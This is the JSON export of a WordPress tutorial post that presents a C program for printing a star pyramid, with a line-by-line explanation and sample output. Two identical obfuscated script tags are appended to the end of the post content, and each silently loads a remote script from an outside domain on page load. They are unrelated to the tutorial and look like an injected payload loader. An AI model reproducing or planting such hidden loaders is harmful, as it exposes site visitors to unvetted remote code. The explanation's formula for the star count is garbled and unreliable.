{"id":738,"date":"2024-10-10T22:10:58","date_gmt":"2024-10-10T16:40:58","guid":{"rendered":"https:\/\/codexplained.in\/?p=738"},"modified":"2025-11-24T15:54:01","modified_gmt":"2025-11-24T10:24:01","slug":"print-star-pyramid-pattern","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=738","title":{"rendered":"Print Star Pyramid Pattern"},"content":{"rendered":"<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n\nint main() {\n    int rows;\n\n    \/\/ Prompt user for the number of rows\n    printf(&quot;Enter the number of rows for the pyramid: &quot;);\n    scanf(&quot;%d&quot;, &amp;rows);\n\n    \/\/ Outer loop for each row\n    for (int i = 1; i &lt;= rows; i++) {\n        \/\/ Inner loop for printing spaces\n        for (int j = 1; j &lt;= rows - i; j++) {\n            printf(&quot; &quot;); \/\/ Print space\n        }\n        \/\/ Inner loop for printing stars\n        for (int k = 1; k &lt;= (2 * i - 1); k++) {\n            printf(&quot;*&quot;); \/\/ Print star\n        }\n        \/\/ Move to the next line after each row\n        printf(&quot;\\n&quot;);\n    }\n\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h2 class=\"wp-block-heading\">Explanation of the Code.<\/h2>\n\n\n\n<p><strong>Header Files<\/strong>: The program includes <code>stdio.h<\/code> to utilize standard input and output functions.<\/p>\n\n\n\n<p><strong>Getting User Input<\/strong>:<\/p>\n\n\n\n<p>We declare an integer variable <code>rows<\/code> to store the number of rows for the pyramid.<\/p>\n\n\n\n<p>We prompt the user to enter the desired number of rows.<\/p>\n\n\n\n<p><strong>Outer Loop<\/strong>:<\/p>\n\n\n\n<p>The outer loop (<code>for (int i = 1; i &lt;= rows; i++)<\/code>) runs once for each row of the pyramid.<\/p>\n\n\n\n<p><strong>Inner Loop for Spaces<\/strong>:<\/p>\n\n\n\n<p>The first inner loop (<code>for (int j = 1; j &lt;= rows - i; j++)<\/code>) prints spaces to center the stars. The number of spaces decreases as we move down the rows.<\/p>\n\n\n\n<p><strong>Inner Loop for Stars<\/strong>:<\/p>\n\n\n\n<p>The second inner loop (<code>for (int k = 1; k &lt;= (2 * i - 1); k++)<\/code>) prints the stars. The number of stars increases as we go down each row, calculated by 2i\u221212i &#8211; 12i\u22121.<\/p>\n\n\n\n<p><strong>New Line<\/strong>:<\/p>\n\n\n\n<p>After printing the stars for each row, we use <code>printf(\"\\n\")<\/code> to move to the next line.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Output<\/h2>\n\n\n\n<p>Enter the number of rows for the pyramid: 5 <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>    *\n   ***\n  *****\n *******\n*********\n<\/code><\/pre>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Explanation of the Code. Header Files: The program includes stdio.h to utilize standard input and output functions. Getting User Input: We declare an integer variable rows to store the number of rows for the pyramid. We prompt the user to enter the desired number of rows. Outer Loop: The outer loop (for (int i = [&hellip;]<\/p>\n","protected":false},"author":38,"featured_media":751,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-738","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/738","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/38"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=738"}],"version-history":[{"count":5,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/738\/revisions"}],"predecessor-version":[{"id":1452,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/738\/revisions\/1452"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/751"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=738"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=738"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=738"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}